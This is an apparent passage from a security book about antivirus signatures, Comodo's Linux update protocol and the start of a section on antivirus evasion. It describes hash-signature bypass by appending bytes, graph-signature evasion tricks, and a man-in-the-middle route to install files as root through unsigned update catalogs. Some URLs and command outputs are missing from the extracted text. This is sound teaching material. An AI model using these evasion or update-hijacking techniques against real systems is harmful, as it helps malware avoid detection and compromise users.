not produce false positives. However, there are disadvantages to using cryptographic hash functions. One is that it is typically more expensive to calculate,
say, an MD5 or SHA1 hash than a CRC32 hash. A second disadvantage is that
when a malware developer changes just one bit of data, the cryptographic hash
functions return a different hash value, thus rendering the file or buffer undetectable when such algorithms are used for detection. Indeed, this is the purpose
of a cryptographic hash function: it must be infeasible to modify a message
without changing the resulting hash. A typical example of how to bypass such
signatures is by adding one byte at the end of the file. In the case of executable
files, a byte addition at the end of the file is either ignored or considered garbage
and does not cause the targeted operating system to consider the file malformed
or damaged when it tries to execute it.
It may seem at first that such signatures are not frequently used in today’s
antivirus products, but the reality is otherwise. For example, as of January 2015,
ClamAV contained more than 48,000 signatures based on the MD5 hash of the
file. The daily.cvd file (a file with the daily signatures) contains more than
1,000 MD5 hashes. Cryptographic hashes are often used by antivirus products
only for recently discovered malwares that are considered critical, such as the
droppers and dropped executables in attacks discovered in the wild. Meanwhile,
stronger signatures are being developed, for which more time is required. Using
cryptographic hashes in antivirus products as signatures, except in the last case
mentioned, does not make any sense; this approach will just detect the given
file (as their hashes were originally added into the signature database) if not
modified, but changing a single bit will “bypass” detection.
Advanced Signatures
Many signature types are implemented in AV engines that are not as simple
as the CRC32 algorithm. Most of them are specific to each AV product, and
some of them are expensive and, thus, are used only after other signatures
Chapter 4 ■ Understanding Antivirus Signatures
are matched. Most of these signatures are created with the aim of reducing the
number of false positives while at the same time maximizing the possibility
that an AV engineer will detect a malware family, instead of a single file such
as in the previous cases in this chapter. One typical advanced signature, the
bloom filter, is discussed in Chapter 3. The next section will discuss some of the
most common advanced signature types that are found in various AV products.
Fuzzy Hashing
A fuzzy hash signature is the result of a hash function that aims to detect
groups of files instead of just a single file, like the cryptographic hash functions’
counterparts do. A fuzzy hash algorithm is not affected by the same rules as a
cryptographic hash; instead it has the following properties:
Minimal or no diffusion at all—A minimal change in the input should
minimally affect the generated output and only to the corresponding block
of output, if it affects it at all. In a good cryptographic hash, a minimal
change in the input must change the complete hash.
No confusion at all—The relationship between the key and the generated
fuzzy hash is easy to identify, corresponding one to one. For example,
a tiny change in the first block should change only the first generated
output byte (if at all).
A good collision rate—The
collision rate must be defined by the actual
application. For example, a high collision rate may be acceptable for spam
detection, but it may not be suitable for malware detection (because of the
high number of false positives it generates).
Various free public implementations of cryptographic hashes are available,
including SpamSum, by Dr. Andrew Tridgell; ssdeep, by Jesse Kornblum; and
DeepToad, by Joxean Koret. However, as far as can be determined, none of the
antivirus products use any of these publicly available fuzzy hashing algorithms;
instead they create their own. In any case, all of them are based on the same
ideas and have the same three properties discussed in the previous list.
The number of false positives of such signatures—depending on the collision
rate configured by the antivirus developers and the quality of the implemented
algorithm—is usually lower than the number of false positives that other more
basic signatures cause (such as simple pattern matching or checksums). However,
because of the intrinsic nature of such hashes, false positives will happen, and
such algorithms cannot be used alone. In some cases, these algorithms are used
to match malware files after they pass a bloom filter, thus reducing the odds of
causing false positives.
Bypassing such antivirus signatures is not as easy as in the previous cases.
Bypassing a cryptographic or checksum-based hash function or a simple patternmatching algorithm is a matter of changing just one bit in the right place (either
Part I ■ Antivirus Basics
in the specific string being matched or anywhere in the buffer). In the case of
fuzzy hashes, an attacker needs to change many parts of the file because small
changes to the buffer do not cause a big diffusion, if at all. The following example
uses the ssdeep tool to demonstrate how such an algorithm works. Say that you
want to detect the /bin/ls executable from Ubuntu Linux in your hypothetical antivirus engine using the ssdeep algorithm. Such a file will generate the
following signature:
$ md5sum ls
fa97c59cc414e42d4e0e853ddf5b4745 ls
$ ssdeep ls
," ls"
The first command calculates the MD5 hash of the given file. The last command calculates its ssdeep hash. The last line is the entire signature generated
by ssdeep: the block size, the hash, and the hash plus the filename. Now add
one more byte at the end of the file, the character “A,” and calculate both hashes:
$ cp ls ls.mod
$ echo "A" >> ls.mod
$ ssdeep ls.mod
$ md5sum ls.mod
369f8025d9c99bf16652d782273a4285 ls.mod
The MD5 hash has changed completely, but the ssdeep hash has just changed
one byte (notice the extra P at the end of the hash). If developers using this
signature approach calculate the edit distance, they will discover that the file
is similar to a known one, and thus detect it as part of some malware family. In
order to completely change the hash when using fuzzy hash algorithms, you
need to modify many other parts of this file. Try another example, this time,
appending the file cp from Ubuntu Linux to the original ls file:
$ cp ls ls.mod
$ cat /bin/cp >> ls.mod
$ ssdeep ls.mod
$ ssdeep ls
Chapter 4 ■ Understanding Antivirus Signatures
," ls"
Now, almost the entire hash has changed, and thus you have bypassed this
signature. However, the number of changes required to bypass a fuzzy signature
depends on the block size: if the block size depends on the size of the given
buffer and is not fixed, bypassing such signatures is easier. For example, try
again, this time with the DeepToad tool, which allows you to configure the block
size. Select a block size of 512 bytes and hash the two files, the original /bin
/ls and the modified one:
$ deeptoad -b=512 ls
$ deeptoad -b=512 ls.mod
This time, you cannot trick this tool by making such a change. This is for
two reasons: first, because the block size is fixed, instead of being dynamically
chosen, which is the case with ssdeep; and second, because DeepToad calculates
three different hashes, separated by the semicolon character (;), and the first
two hashes completely match. So, in short, the number of changes required to
bypass a fuzzy hash algorithm depends on the block size and how the block
size is chosen.
Graph-Based Hashes for Executable Files
Some advanced antivirus products contain signatures for program graphs. A
software program can be divided into two different kinds of graphs:
Call graph—A directed graph showing the relationships between all the
functions in a program (that is, a graph displaying all callers and callees
of each function in the software piece)
Flow graph—A
— directed graph showing the relationships between basic
blocks (a portion of code with only one entry point and only one exit point)
of some specific function
An antivirus engine that implements a code analysis engine may use the
signatures in the form of graphs using the information extracted from the call
graph (a graph with all the functions in a program) or the flow graphs (a graph
with all the basic blocks and relations for each function). Naturally, this operation can be quite expensive; a tool such as IDA can take anywhere from seconds
Part I ■ Antivirus Basics
to minutes to analyze an entire piece of software. An antivirus kernel cannot
expend seconds or minutes analyzing a single file, so the code analysis engines
implemented in AV products are limited to some instructions, basic blocks, or
a configured time-out value so the analysis engine does not take longer than
the specified maximum amount of time.
Graph-based signatures are powerful tools for detecting malware families that
are polymorphic; while the actual instructions will be different between different evolutions, the call graph and flow graphs usually remain stable. Therefore,
an AV engineer may decide to take a graph signature of the basic blocks of a
particular function used to unpack the code of a malware, for example, to detect
the unpacking or decryption layers.
This approach—in addition to the performance problems it may cause if
no limits are set or are set inappropriately—can also cause false positives like
any other approach for creating signatures. For example, if a malware author
knows that his piece of software is being detected by an antivirus engine using
a signature created out of the flow graph of a specific function, he may decide to
change the layout (read, the flow graph) of that function to the layout of a function from goodware; this could be a function from the notepad.exe Windows
operating system tool or any other goodware software. The AV engineers will
discover that they need to create a new signature for this new family instead
of adapting the previous one or adding a modification to it, because the graphs
used in this new evolution can be found in other, goodware, software pieces.
From the viewpoint of an attacker who wants to evade such signatures, a
variety of approaches are available:
Change the layout of flow graphs or the layout of the call graph so they
look like “common” graphs extracted from any goodware software, as
explained previously.
Implement anti-disassembly tricks so the AV’s code analysis engine cannot disassemble the whole function because it does not understand an
instruction or set of instructions.
Mix anti-disassembly tricks with opaque predicates so the analysis engine
cannot decide correctly whether or not a jump is taken and will fail at
analyzing either the “true” or the “false” path because invalid instructions
or code are simply put there to fool the code analysis engine.
Use time-out tricks to make the flow graph of the malware so complex
that the code analysis engine of the antivirus kernel must stop the code
analysis step before it can be considered finished because it timed out;
timing out would cause it to have a partial and unreliable view of the flow
graph of some or all functions.
An example open-source tool that builds and uses graph-based signatures
that can be used as a testing tool is GCluster, an example script from the bigger
project Pyew, available at
Chapter 4 ■ Understanding Antivirus Signatures
This tool analyzes the program building the call graph and each function’s flow
graph for the list of binaries given to the tool and then compares both elements,
the call graph and the flow graphs, in order to give a similarity level. The following is an example execution of this tool against two malware samples from
the same family that at binary level are completely different but at structural
level (the call graph and flow graphs) are exactly equal:
$ /home/joxean/pyew/ HGWC.ex_ BypassXtrap.ex_
[+] Analyzing file HGWC.ex_
[+] Analyzing file BypassXtrap.ex_
Expert system: Programs are 100% equals
Primes system: Programs are 100% equals
ALists system: Programs are 100% equals
If you check the cryptographic hash of the files, you will see that they are
actually different files:
$ md5sum HGWC.ex_ BypassXtrap.ex_
e1acaf0572d7430106bd813df6640c2e HGWC.ex_
73be87d0dbcc5ee9863143022ea62f51 BypassXtrap.ex_
Also, you can check that other advanced signatures, like fuzzy hashing at
binary levels, don’t work for such binaries, as in the following example run of
$ ssdeep HGWC.ex_ BypassXtrap.ex_ ssdeep,1.1-blocksize:hash:hash,filename12288:faWzgMg7v3qnCiMErQohh0F4CCJ8ln
Clearly, graph-based signatures are much more powerful than signatures
based exclusively in the bytes. However, for performance reasons their use is
often prohibitive. This is why antivirus companies did not adopt this approach
massively: it is not practical.
Antivirus signatures play an integral part in malware detection. They have been
used since the inception of the AV software. Essentially, signatures are databases
of some sort that are used in conjunction with various matching algorithms to
detect malware or a family of malware. For each of the signature database types,
this chapter also showed various methods for circumventing detections based
on them. Various types of signature databases are mentioned in this chapter:
Part I ■ Antivirus Basics
Byte-streams, as the name suggests, are used in conjunction with string
matching algorithms to match a sequence of bytes in the malicious file.
Checksums, such as the CRC32 checksum algorithm, are applied on a
byte-stream to generate a unique identifier that is then looked up in the
signature. Checksums are usually weak against collision attacks and prone
to generating false positives.
Cryptographic hash functions, unlike checksum algorithms, are resilient
against collision attacks and do not cause a lot of false positives. However,
they take a long time to compute. Malware writers can easily evade those
algorithms because a simple change in the input file can generate a totally
different hash value.
Fuzzy hash functions are used to detect a group of files, typically malware files belonging to the same family. Unlike cryptographic hashes, it
is somewhat acceptable to have collisions. If collisions occur, it is usually
because the malware with the fuzzy hash belong to the same family.
Finally, graph-based hashes are computed from either the call graphs or
the flow graph of a malicious executable. Calculating graph-based hashes
is more time-consuming than all other hashing methods and requires
that the AV engine has disassembling ability so it can build such graphs.
Nonetheless, graph-based hashes are very good for detecting different
iterations of the same malware, because they rely not on the bytes-stream
sequence but on the relationship of basic blocks or functions call graphs.
The next chapter introduces the update services, discusses how they work, and
then walks you through a practical example of how to dissect and understand
a real-world update service of a popular AV software.
The Update
e System
Antivirus software is updated more often than most types of software on your
computer. Every couple of hours, or at least once a day, new virus definition
files are released by AV companies and downloaded by customers in order to
protect them against the latest threats.
All modern antivirus software implements some sort of auto-updating feature.
The components that are updated include the core kernel files, signature files,
GUI, tools, libraries, or other product files. Depending on how the AV product
is configured, automatic updates occur from once to several times per day. The
antivirus update strategy depends on the frequency of the update requests.
For example, a daily update usually involves pushing daily signatures to the
clients. On the other hand, a weekly update involves a big revision download
that updates a number of stable signatures.
These update rules are not set in stone, because sometimes when an update is
performed, the entire set of signatures and plug-in files is changed. The size of
the updates and the components that are updated depend largely on the plug-ins
and signature schemes used: if the AV company uses a container for plug-ins
and signatures, the entire container is downloaded each time the antivirus is
updated. However, if the company distributes each component separately, only
the modified components are downloaded.
Part I ■ Antivirus Basics
This chapter discusses the various update protocols that are implemented by
antivirus companies and their shortcomings and continues to explain how to
dissect an update protocol. This concludes by commenting on how the current
methods of HTTPS inspection solve one problem but bring about many other
Understanding the Update Protocols
Each antivirus company, and sometimes each antivirus product, uses a different
protocol, updating strategy, signature and plug-in distribution scheme, and so
on. However, there are some commonalities between all the update protocols
that are listed here:
They use HTTP or HTTPS (or both) for downloading signatures—In some
rare cases, FTP has been observed (mainly in obsolete or old products).
They include catalog files—The list of downloadable files and remote
relative URIs or full URLs is available in one or more catalog files. Such
catalog files may contain information about the supported platforms and
different product versions.
They verify the downloaded files—The downloaded update files are
usually verified before the old files are updated. Although each antivirus
product goes through a verification process, they do so in very different
ways, from using simple CRC checks (Cyclic Redundancy Checks) to RSA
(a public key-based cryptosystem) signatures.
The following hypothetical antivirus update protocol shows you how a typical
update might work:
1. The AV product regularly retrieves (for example, once a day) a file from the
web via a URL such as This file contains
meta-information about the availability of updates.
2. The AV client remembers the last time it was updated, and if the date inside
this file is more recent than the last time the antivirus was updated on the
client’s machine, a catalog file with the list of all available update files is
then downloaded from a URL such as
3. The catalog file, whether it is in XML format or simple old INI format, is
usually divided into sections for each product, supported platform, and
operating system (such as Windows 7 x86_64 or Solaris 10 SPARC). Each
section contains information about the files to be updated. Most commonly,
this information includes the name of the files to be updated and their
hash (for example, MD5) for integrity verification later on.
Chapter 5 ■ The Update System
4. If the MD5 hashes of the files in the update catalog corresponding to the
client’s files are different, these files are downloaded to the computer.
5. The MD5 hash of the downloaded files is checked to verify that no error
occurred during the transmission.
6. If the files are correct, the required services are stopped, old files are
moved to a backup directory, new files are copied, and the services are
This hypothetical protocol resembles how many real-world antivirus update
engines work. You will see more concrete examples in the following sections.
Support for SSL/TLS
Secure Sockets Layer (SSL) and Transport Layer Security (TLS) are cryptographic
protocols designed to provide security over a communication channel such as
the Internet (WAN) or an intranet (LAN). They use X.509 certificates (asymmetric
cryptography) to exchange a random session key, which is used for symmetric
encryption and decryption of the subsequent traffic. SSL protocols are used for
online banking and other sensitive information exchange purposes. Using such
secure communication protocols is a basic requirement when implementing
an update protocol, especially when talking about security software such as
antivirus products, but, unfortunately, they are not typically used. The most
typical protocol used for downloading updates, as explained in the previous
section, is plain old Hypertext Transfer Protocol (HTTP), not Hypertext Transfer
Protocol Secure (HTTPS), the version of HTTP implemented on top of SSL/TLS.
The use of HTTP in most update protocols opens the door to a wide array of
possible attacks:
If an attacker can change a DNS record, for example, the client will connect
to the wrong IP address and download all the files there, without verifying
that the server is actually the one the client tool expected, as certificates
are not used in HTTP.
If an attacker can launch a man-in-the-middle (MITM) attack in, say, a
local area network (LAN), then the attacker can modify the files (and
their hashes in the catalog file) during transit and supply bad copies
of files or Trojanized versions of the antivirus products to the client
Recent antivirus products rely on insecure or unencrypted protocols based
on HTTP for various reasons. The following are the most common ones:
Simplicity—It is easier to write a protocol based on HTTP than by using
HTTPS properly.
Part I ■ Antivirus Basics
Performance—Downloads using HTTP are always faster than using
HTTPS because the overload of the SSL or TLS layers is removed. Although
the performance penalty of using SSL or TLS today is negligible, the first
versions of some antivirus products were written one or two decades
ago. At that time, perhaps, it was considerable time. Today, however, its
Poor coding or programming skills—As simple as it sounds, some antivirus
engineers and designers are not security-conscious coders, or they do not
properly understand the security requirements of a protocol engine. As
such, some antivirus companies implemented the first updating protocol
they came up with and continued to use that protocol for many years,
even when, in some cases, such protocols where designed at the end of
the 1990s or the beginning of the 2000s.
You may have noticed that the word properly is used in the previous list
just to emphasize the fact that sometimes the simple solution is implemented
rather than the correct one, which is, by the way, a bad practice. Many people,
some software developers and designers included, believe that they only need
to add SSL/TLS support to their protocols, and they often implement it in an
uninformed way by using such transports without considering the security
implications. As a result, you can observe the following discrepancies:
Using SSL/TLS without verifying the server’s certificate—This is one of
the most typical errors: developers add secure transport capabilities but
not the code to check the identity of the server. This is as bad as not using
SSL/TLS with the added performance penalty of using such transports.
Web browsers such as Google Chrome and the security product EMET
from Microsoft provide certificate pinning to validate the identity of the
web server.
Using self-signed certifi cates—A company may use a self-signed
certificate for identifying its update servers, rather than a certificate
signed by a known certificate authority (CA), and the certificate may
not be added to the client’s trusted certificate store. In this situation
(as in the previous case where the check code is missing), the client
will accept any self-signed certificate that looks like the one it expects.
In short, this is as bad as the previous case. Also, because of the way
they work, self-signed certificates cannot be revoked; so, if attackers
gain access to the private key of the AV company, they can continue
performing MITM attacks as long as the certificates installed in each
client machine are not revoked. However, certificates signed by a CA
can be revoked after such an incident, which makes them invalid. Any
Chapter 5 ■ The Update System
new certificates will be automatically accepted because they are signed
by a known, trusted CA.
Accepting valid but expired certificates—A certificate expires after some
time. If nobody notices it at the correct time because people are busy or
because of bureaucratic shortsightedness, the certificate may expire, causing the clients to refuse to download updates. Because of this, expired
certificates are sometimes allowed.
Verifying the Update Files
One of the points where most AV products fail is when verifying downloaded
update files. After all, the verification process is reduced to the following steps:
1. Download (likely via HTTP) a catalog file containing the list of files to
download and their corresponding hashes.
2. Download relevant files mentioned in the catalog file.
3. Verify the hash of the downloaded files.
The verification of the hash is usually made by comparing the MD5 or SHA1
hash of the downloaded file with the corresponding hash in the downloaded
catalog file. In some extremely rare cases, they can even use a CRC32 checksum instead of a cryptographic hash, as when an old, critical vulnerability
was discovered by Joxean Koret in the Dr.Web antivirus products. (This bug
is discussed in detail in Chapter 15.) Verifying the downloaded files against
the hashes stored in the catalog file is the right approach. However, there is
a drawback: what if the catalog file containing the hashes is modified by the
attacker? The attacker would then be able to modify the transmitted files while
also updating the hashes in the catalog file. Doing so does not upset the AV
update protocol because the hashes of the downloaded files match the expected
hashes. In a typical scenario, the attacker controls the update server and starts
serving the modified malicious updates. Not a good situation.
In some rare cases, antivirus products properly implement the verification and
integrity of the updates by employing signing algorithms (for example, using RSA).
Signing is also used for validating that the files were created by the corresponding
developers and were not manipulated during transit. Signing can be applied to
executables and sometimes script files. For example, Microsoft signs every .CAB
file (an archive file format) downloaded using Windows Update (the protocol
used to update Microsoft Windows Security Essentials) and also requires that
driver files (.SYS) are signed on x64 platforms before they are loaded by the OS.
If a signing mechanism is used, then even if insecure protocols such as HTTP are
used, the authenticity of the files is not jeopardized because the attacker would
need to craft a binary with a valid signature. This is far from trivial and may
Part I ■ Antivirus Basics
be downright impossible without also stealing the certificate from the signer or
somehow reconstructing the private key. This has happened in the past, with
the Flame malware—probably a state-sponsored piece of malware—which was
signed with the attackers’ certificate that was generated based on a Terminal
Server licensing server certificate with the help of an MD5 collision attack.
Signing and integrity checks are slowly being adopted by most major antivirus products. However, in most cases, the adoption is limited to the Windows
platform. Many antivirus products do not sign ELF or MachO executables or the
shell scripts used to start their daemons in their Unix version of the products.
There are some exceptions, but they are just that: exceptions.
N O T E Signing executable files is a common function, at least in Windows operating
systems. Signing shell scripts may seem strange at first; however, in Unix, a shell script
is just an executable program, similar to a *.VBS script in Windows. For that reason,
scripts should be treated as executables and thus be candidates for signing as well. The
usual approach of various AV companies to signing script files is to add a comment line
at the bottom of the file containing the RSA signature of the script content (excluding
the signature line at the end of the file). For binary files, signatures are usually added as
overlay data, at the end of the file. The addition of the signature’s bytes is harmless, as
the programs reading the files simply ignore the data past the end of the original file.
Windows supports binary signing using its Microsoft Authenticode technology.
Dissecting an Update Protocol
This section looks at a real update protocol used by a commercial antivirus
product: Comodo Antivirus for Linux (version 1.1.268025-1 for AMD64). For this
experiment, all you need are some standard Unix tools (such as grep), Wireshark
(a network protocol analyzer, or sniffer,
r for Unix and Windows), a web browser,
and the Comodo antivirus software. You can download the software from
Once you have installed the software, you can start playing with it. Antivirus
software can use two different types of updates: the software update and the
signatures update. The former refers to the scanners, drivers, GUI tools, and
so on, and the latter refers to the generic routines for detection and disinfection, as well as the files with the usual CRCs, MD5s, and other signatures. If
you run the main GUI in Comodo (with the command /opt/COMODO/cav if it is
not already open) for the Linux version, a dialog box opens, similar to the one
shown in Figure 5-1.
In the main window, you can see the last time that antivirus signatures were
updated, as well as a summary of the number of malwares that were detected,
and so on. When you click the Antivirus tab, the screen displays an Update
Virus Database option, as shown in Figure 5-2.
Chapter 5 ■ The Update System
Figure 5-1: The main GUI of Comodo Antivirus for Linux
Figure 5-2: Comodo offers an Update Virus Database option for the Linux GUI
Part I ■ Antivirus Basics
The Update Virus Database option is the first part of the updating protocol
that you will dissect. Before clicking this option, you need to launch Wireshark
as root in a terminal:
$ sudo wireshark
You then choose Capture→Start from the main menu. To get a cleaner traffic capture log, you can add the HTTP filter. After setting up Wireshark, you
click the Update Virus Database option to instruct the GUI to check for new
updates of their virus definition files. After a while, you see results similar to
those shown in Figure 5-3.
Figure 5-3: Wireshark shows a trace of a signature’s updating check
The update tool downloads from
If you download this text file and check its contents, you see the following:
This is one INI-formatted file with just one section, VersionInfo, and four
fields. You still know nothing about the meaning of any of the fields, although
Chapter 5 ■ The Update System
you can guess that MaxAvailVersion indicates the latest available version. Now
you try to find where that string appears in the Comodo antivirus files:
$ grep 20805 -r /opt/COMODO/
/opt/COMODO/etc/COMODO.xml: <BaseVer>0x00005145 (20805)
You have a hit! It seems that the COMODO.xml file is where the MaxAvailVersion
value exists. This field indicates the latest version of the signature files. If the
value in the versioninfo.ini file is higher than the value in COMODO.xml,
then updates are downloaded. To continue with this example, you can change
the BaseVer value in COMODO.xml to 20804 to force the GUI tool to download the
latest updates (for this example, you just wait until there is a new set of signatures). If you click the Update Virus Database option, then Wireshark displays
a different trace, as shown in Figure 5-4.
Figure 5-4: Request made to the Comodo web servers to download updates
Okay, you now know how to determine whether new signatures are available and where to download them. If the MaxAvailVersion value is higher in
versioninfo.ini than in the COMODO.xml file, then updates become available
in a URL like this one:
Part I ■ Antivirus Basics
If you try to download this file using your favorite web browser, or any tool
with support to open remote files, you see a binary file with a header that starts
with the magic CAV3:
$ pyew
000 43 41 56 33 46 51 00 00 52 9A E9 54 44 92 95 26 CAV3FQ..R..TD..&
010 43 42 01 00 05 00 00 00 01 00 00 00 00 00 00 00 CB..............
020 01 00 00 00 42 00 22 00 00 43 42 02 00 05 00 00 ....B."..CB.....
030 00 01 00 00 00 00 00 00 00 01 00 00 00 42 00 22 .............B."
040 00 00 43 42 03 00 05 00 00 00 01 00 00 00 00 00 ..CB............
050 00 00 01 00 00 00 42 00 22 00 00 43 42 04 00 0A ......B."..CB...
060 00 00 00 06 00 00 00 00 00 00 00 02 00 00 00 E2 ................
070 00 6A 2C CC AC 00 22 00 00 43 42 05 00 05 00 00 .j,..."..CB.....
080 00 01 00 00 00 00 00 00 00 01 00 00 00 42 00 22 .............B."
090 00 00 43 42 06 00 0D 00 00 00 09 00 00 00 00 00 ..CB............
0A0 00 00 01 00 00 00 43 00 00 00 20 00 00 00 00 00 ......C... .....
0B0 22 00 00 43 42 20 01 A8 1F 20 00 A8 1F 20 00 00 "..CB ... ... ..
0C0 00 00 00 46 05 00 00 00 00 00 00 00 00 00 00 00 ...F............
0D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
The contents of this binary file look like the Comodo antivirus signatures.
The latest public version available for download is 20806 (as of January 23, 2015).
Your next step should be to see if it is the latest available version:
200 OK
Connection: close
Date: Fri, 23 Jan 2015 08:52:48 GMT
200 OK
Connection: close
Date: Fri, 23 Jan 2015 08:52:52 GMT
404 Not Found
Connection: close
Date: Fri, 23 Jan 2015 08:52:54 GMT
Chapter 5 ■ The Update System
It seems that more new BASE_UPD_END_USER
R files (the latest is 20815) are available
in the server, but, for some reason, the latest version they want to be installed is
20806. This may indicate that these new signature files are beta signatures (sets
of signatures that are still not very reliable) that they want to be available so
that support services can download them for customers who need to remove
a specific piece of malware. Or it may simply be that the versioninfo.ini file
was not updated at the time you checked. You can’t really know, but, at least,
you learned the following:
How the antivirus software checks whether a new version of its virus
definition files is available
The exact remote path to download the update files from
However, you still do not know how the antivirus software is updated, if at
all; you just learned how to update the signature files. Returning to the Comodo
antivirus GUI, if you click the More tab, you will find the Check for Updates
option. Start a new, clean Wireshark trace and click that option to see what
happens. After a while, the antivirus tells you that you have the latest version
and provides a full trace in Wireshark that you can use to determine how it
concluded there are no more versions (see Figure 5-5).
Figure 5-5: The recorded trace checking for new Comodo product files
This trace shows the antivirus downloads in an XML-formatted file:
Try to open the file in your favorite web browser to determine what the
purpose of this software is (see Figure 5-6).
Part I ■ Antivirus Basics
Figure 5-6: XML file to update Comodo software for Linux
The cavmgl_updates tag includes various file XML tags. Each XML tag contains a set of files that can be updated with the filename, its file size, the SHA1 hash,
and the base URI from which to download it (from the src attribute); they also
contain information about where to copy it (<copy folder="repair">) and whether
the antivirus must be rebooted after updating that file (requireReboot="true").
Pick the file and check its SHA1 hash in your installation directory:
$ sha1sum /opt/COMODO/repair/
The SHA1 hash is the same, so this file is not upgradeable. Continue checking
all the SHA1 hashes of all the files appearing in the XML file. The SHA1 hash
corresponds to the files you just installed. Add one byte to the file
# cp
# echo A >>
# sha1sum
Now, click Check for Updates again in the Comodo antivirus GUI tool.
Hmm…nothing happens. You need to change something else. If you find the file in the installation directory of the antivirus product, you will
discover more occurrences:
# find /opt/COMODO/ -name ""
Chapter 5 ■ The Update System
You have more files to replace. Chances are good that after copying the files
to, the updater then replaces the other files. However, you are not
updating this file from the GUI tool; you replaced it manually. Try to replace
the other two occurrences with your new file:
# cp /opt/COMODO/repair/ /opt/COMODO/repair/scanners/
# cp /opt/COMODO/repair/ /opt/COMODO/scanners/
Now, go back to Wireshark, start a new, clean trace, and then go to the antivirus
GUI tool and click Check for Updates. Hurrah! This time the antivirus software
says there is an available update. If you click the Continue button and let it finish
the process, it downloads the file. You can check it in Wireshark,
as shown in Figure 5-7.
Figure 5-7: Tracing the download of the component
You have now finished dissecting this trivial example to analyze protocol!
What’s next? You may want to write an exploit for this update protocol, as you
just discovered the following vulnerabilities for it:
Everything is downloaded via HTTP.
The integrity of downloaded files is verified with a cryptographic hash,
but no signature check is made to determine whether or not a file was
created by Comodo developers.
The catalog file is not signed. In fact, you did not observe signature checks
Part I ■ Antivirus Basics
Because of those update protocol weaknesses, if you can launch an MITM
attack in a LAN, for example, you can change the contents and install anything
you want (as long as you write an exploit that supplies an XML catalog file as
expected by the Comodo antivirus software). Oh! By the way, by exploiting
this bug, you can install files as the root user anywhere you want. Isn’t it cool?
When Protection Is Done Wrong
Some antivirus products advertise that they can inspect HTTPS, the HTTP
protocol when encrypted with SSL/TLS. What it really means is that they use
the same actions that malware does to inspect network traffic and protect customers because SSL/TLS, by design, cannot be inspected. In April 2015, Hanno
Böck posted an interesting analysis of TLS inspection performed by antivirus
software in his blog (
As stated in that blog post, an antivirus product that wants to perform TLS
inspection must launch an MITM attack and install a certificate signed with a
trusted certificate authority for the specific domain to be inspected (like *.google
.com), or it must create new certificates for each new site that its users visit, signing them with a valid CA. Antivirus products, legal software like Superfish or
PrivDog, and malwares solve this problem in Windows by installing a new root
certificate. In the case of antivirus software, this strategy is actually doing the
opposite of what is intended: it lowers the security level of the computer being
protected by simply circumventing TLS.
According to the previously mentioned blog post, various antivirus products,
like Kaspersky or Avast, by default, or ESET, on demand, make use of such
techniques to check for malware inside all the HTTPS traffic. This causes a lot
of problems in the TLS protocol. For example, all software out there using TLS
inspection techniques breaks HTTP Public Key Pinning (HPKP). This technology
allows a web page to pin public keys of certificates in a browser. On subsequent
visits, the browser will only accept certificates with these keys. This very effective protection against malicious or hacked certificate authorities issuing rogue
certificates is actually broken by your antivirus software.
As if this were not bad enough, some TLS interception software implementations, like the one used by Kaspersky, make their customers vulnerable to a
plethora of known and fixed attacks against TLS, such as CRIME and FREAK, to
name just a few. Also, both Avast and Kaspersky accept nonsensical values for
the Diffie Hellman key exchanges, with a size of 8bit, for example. Even worse
is that they are actually lowering their own products’ protection level when
downloading updates from their own servers (if they happen to use TLS at all).
Chapter 5 ■ The Update System
This is unacceptable from the protection point of view. On the other hand, it
makes the life of an exploit writer easier: the antivirus itself is allowing you to
launch many other attacks that, without a browser, would not be possible even
if the computer has all the operating system updates installed.
This chapter covered various topics pertaining to update services, such as
how they generally work in modern antiviruses, which transport protocols
are typically used, and the security shortcomings arising from incorrect and
insecure implementations:
Update files packaging—It is important to be able to update only the
changed part and minimize the network traffic used. Catalog files are
typically used in update services to describe the files to be updated, their
hashes, and other metadata needed during the updating process.
Transport protocol—Using insecure channels such as HTTP opens the
user to MITM attacks, among other things. However, using an encrypted
update channel alone is not enough.
Update package integrity verification—It is possible to use an unencrypted
channel but still validate the integrity of the update files. However, the
converse is incorrect: a secure update channel, for example, HTTPS, without proper file integrity checks is pretty useless.
Insecure update service implementations are not a myth—An in-depth
look at how a commercial AV update service works proves otherwise. As
it turns out, the update service in question uses the unencrypted HTTP
protocol and employs a catalog file containing the list of files to be updated
along with their hashes. A good protection one would think, but its weakness was that the catalog file itself is not validated, thus it is possible to
serve a modified catalog file with a list of files that the attacker controls
along with their correct hashes.
This chapter concluded with a discussion about how HTTPS interception
methods used by popular antivirus products actually break HTTPS certificate
pinning and render the customers’ machines more unsafe.
This is the last chapter in the first part of this book, where all the important
introductory and background material has been laid out. In the next part of this
book, titled “Antivirus Software Evasion,” we start discussing how to evade
the various parts of the antivirus software that were discussed during the first
part of this book.
Par t
Antivirus Software
e Evasion
In This Part
Chapter 6: Antivirus Software Evasion
Chapter 7: Evading Signatures
Chapter 8: Evading Scanners
Chapter 9: Evading Heuristic Engines
Chapter 10: Identifying the Attack Surface
Chapter 11: Denial of Service
Antivirus Software
e Evasion
Antivirus evasion techniques are used by malware writers, as well as by
penetration testers and vulnerability researchers, in order to bypass one or
more antivirus software applications. This ensures the payload the attacker
wants to execute in the target machine or machines is not blocked by antivirus
software and can perform the required actions.
Evasion techniques for bypassing antivirus software can be divided into two
categories: dynamic and static. Static means that you simply want to bypass
detection based on the antivirus’s signature-scanning algorithms, while dynamic
means that you want to bypass detection of the sample’s behavior when it
is executed. That is, statically, you try to bypass signature-based detection
using cyclic redundancy check algorithms (CRCs), some other fuzzy hashing
techniques, or cryptographic hashes by altering the binary contents of the sample,
or you try changing the graph of the program so basic block- and functionbased signatures can be tricked into believing the program is different. When
trying to dynamically evade detection, the sample in question should change
its behavior when it detects that it is running inside a sandbox or an antivirus
emulator, or it could execute an instruction that the emulator does not support.
It could also try to get out of the sandbox or the “safe execution” environment
that is set up by the antivirus software so it can run the malicious programs
without being monitored.
Part II ■ Antivirus Software Evasion
Therefore, to evade detection, you can use a plethora of different techniques.
Some of them will be covered in the following sections, but first, you will get a
brief introduction to the art of antivirus evasion.
Who Uses Antivirus Evasion Techniques?
Antivirus evasion techniques are a controversial topic. Typical questions that
can be heard or read regarding this topic are: Why would anyone want to evade
antivirus software if it is not for doing something bad? Isn’t antivirus evasion
something that only “bad guys” do? While malware writers obviously use
evasion techniques to bypass antivirus detection and do harmful things, legitimate
security professionals also use evasion techniques, mainly in the penetration
testing field. A security professional hired to penetrate into some corporation
will at some point need to bypass the detection techniques employed by the
endpoint software of the target machines in order to execute, for example, a
Meterpreter payload and continue the assessment. Also, evasion techniques
